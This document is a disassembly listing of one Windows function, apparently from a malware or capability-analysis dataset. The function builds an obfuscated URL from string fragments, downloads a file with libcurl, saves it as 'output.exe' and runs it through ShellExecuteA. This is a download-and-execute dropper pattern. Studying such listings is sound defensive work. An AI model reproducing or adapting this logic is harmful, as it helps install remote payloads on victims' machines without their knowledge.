Function at 0x140002010
Capabilities:
Create process on windows

Disassembly:
push rbp
push r15
lea rbp, [rsp - 0x88]
sub rsp, 0x188
movaps xmmword [rsp + 0x170], xmm6
mov rax, qword [0x1400c6840]
xor rax, rsp
mov qword [rbp + 0x60], rax
xorps xmm0, xmm0
lea rdx, [0x1400bab6c]
xorps xmm1, xmm1
lea rcx, [rbp + 0x10]
mov r8d, 3
movups xmmword [rbp + 0x10], xmm0
movdqu xmmword [rbp + 0x20], xmm1
call fcn.140002ac0
mov r8d, 5
lea rdx, str.ps:__
lea rcx, [rbp + 0x10]
call fcn.140002780
xorps xmm0, xmm0
lea rdx, [0x1400bab84]
movups xmmword [rbp - 0x10], xmm0
lea rcx, [rbp - 0x10]
xor r15d, r15d
xorps xmm1, xmm1
mov r8d, 3
movdqu xmmword [rbp], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rax + 0x10], r15
mov byte [rax], r15b
call fcn.140002780
xorps xmm0, xmm0
lea rdx, str.inot
movups xmmword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x30]
mov r8d, 4
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rax + 0x10], r15
mov byte [rax], r15b
call fcn.140002780
xorps xmm0, xmm0
lea rdx, str.ify.
movups xmmword [rbp - 0x50], xmm0
lea rcx, [rbp - 0x50]
mov r8d, 4
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rax + 0x10], r15
mov byte [rax], r15b
call fcn.140002780
xorps xmm0, xmm0
lea rdx, str.tech
movups xmmword [rbp - 0x70], xmm0
lea rcx, [rbp - 0x70]
mov r8d, 4
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rax + 0x10], r15
mov byte [rax], r15b
call fcn.140002780
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x70], xmm0
movdqu xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
lea rdx, str._auth
mov qword [rax + 0x10], r15
lea rcx, [rsp + 0x70]
mov r8d, 5
mov byte [rax], r15b
call fcn.140002780
xorps xmm0, xmm0
lea rdx, str._ssl.
movups xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
mov r8d, 5
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rax + 0x10], r15
mov byte [rax], r15b
call fcn.140002780
xorps xmm0, xmm0
lea rdx, [0x1400bab70]
movups xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
mov r8d, 3
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rax + 0x10], r15
mov byte [rax], r15b
call fcn.140002780
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x40], xmm0
movdqu xmmword [rbp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r15b
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400022c3
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022be
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026e2
call fcn.14006ae90
mov rdx, qword [rsp + 0x68]
movdqa xmm6, xmmword [0x1400babe0]
mov byte [rsp + 0x30], r15b
movdqu xmmword [rsp + 0x40], xmm6
cmp rdx, 0xf
jbe 0x140002313
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000230e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026e2
call fcn.14006ae90
mov rdx, qword [rbp - 0x78]
mov byte [rsp + 0x50], r15b
movdqu xmmword [rsp + 0x60], xmm6
cmp rdx, 0xf
jbe 0x14000235a
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002355
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026e2
call fcn.14006ae90
mov rdx, qword [rbp - 0x58]
mov byte [rsp + 0x70], r15b
movdqu xmmword [rbp - 0x80], xmm6
cmp rdx, 0xf
jbe 0x14000239f
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000239a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026e2
call fcn.14006ae90
mov rdx, qword [rbp - 0x38]
mov byte [rbp - 0x70], r15b
movdqu xmmword [rbp - 0x60], xmm6
cmp rdx, 0xf
jbe 0x1400023e3
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400023de
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026e2
call fcn.14006ae90
mov rdx, qword [rbp - 0x18]
mov byte [rbp - 0x50], r15b
movdqu xmmword [rbp - 0x40], xmm6
cmp rdx, 0xf
jbe 0x140002427
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002422
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026e2
call fcn.14006ae90
mov rdx, qword [rbp + 8]
mov byte [rbp - 0x30], r15b
movdqu xmmword [rbp - 0x20], xmm6
cmp rdx, 0xf
jbe 0x14000246b
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002466
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026e2
call fcn.14006ae90
mov rdx, qword [rbp + 0x28]
mov byte [rbp - 0x10], r15b
movdqu xmmword [rbp], xmm6
cmp rdx, 0xf
jbe 0x1400024af
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024aa
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026e2
call fcn.14006ae90
mov qword [rsp + 0x1a0], rbx
mov ecx, 3
mov qword [rsp + 0x1a8], rsi
mov qword [rsp + 0x1b0], rdi
mov qword [rsp + 0x180], r14
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], r15
call fcn.140003690
call fcn.140003420
mov rdi, rax
test rax, rax
je 0x14000264e
cmp qword [rbp + 0x58], 0xf
lea r8, [rbp + 0x40]
mov edx, 0x2712
mov rcx, rax
cmova r8, qword [rbp + 0x40]
call fcn.1400078d0
mov esi, 1
mov edx, 0x2b
mov r8d, esi
mov rcx, rdi
call fcn.1400078d0
mov r8d, esi
mov edx, 0x34
mov rcx, rdi
call fcn.1400078d0
mov edx, reloc.WS2_32.dll_listen
mov r8d, __WSAFDIsSet
mov rcx, rdi
call fcn.1400078d0
lea r8, [0x140001f40]
mov edx, 0x4e2b
mov rcx, rdi
call fcn.1400078d0
lea r8, [rbp + 0x30]
mov edx, 0x2711
mov rcx, rdi
call fcn.1400078d0
mov rcx, rdi
call fcn.140003490
mov r14d, eax
test eax, eax
je 0x1400025d3
lea rdx, str.curl_easy_perform___failed:
lea rcx, [0x1400c7d00]
call fcn.140002810
mov ecx, r14d
mov rbx, rax
call fcn.1400040f0
mov rdx, rax
mov rcx, rbx
call fcn.140002810
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140003140
movzx edx, al
mov rcx, rbx
call fcn.140002f90
mov rcx, rbx
call fcn.140002e30
mov rcx, rdi
call fcn.1400033f0
jmp 0x140002651
mov rcx, qword [rbp + 0x30]
test rcx, rcx
je 0x140002646
lea rdx, str.true
call fcn.14006cd78
test rax, rax
jne 0x140002646
lea rdx, [0x1400baba8]
lea rcx, str.output.exe
call fcn.140070e9c
mov rbx, rax
test rax, rax
je 0x140002646
mov r8, qword [rbp + 0x38]
mov r9, rax
mov rcx, qword [rbp + 0x30]
mov rdx, rsi
call fcn.14007142c
mov rcx, rbx
call fcn.140071030
xor r9d, r9d
mov dword [rsp + 0x28], r15d
lea r8, str.output.exe
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, rdi
call fcn.1400033f0
mov esi, r15d
call fcn.140003630
mov rcx, qword [rbp + 0x30]
mov r14, qword [rsp + 0x180]
mov rdi, qword [rsp + 0x1b0]
mov rbx, qword [rsp + 0x1a0]
test rcx, rcx
je 0x14000267c
call fcn.1400714d0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x1400026b3
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026ae
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026dc
call fcn.14006ae90
mov eax, esi
mov rsi, qword [rsp + 0x1a8]
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.14006ae70
movaps xmm6, xmmword [rsp + 0x170]
add rsp, 0x188
pop r15
pop rbp
ret
call fcn.14007188c
int3
call fcn.14007188c
int3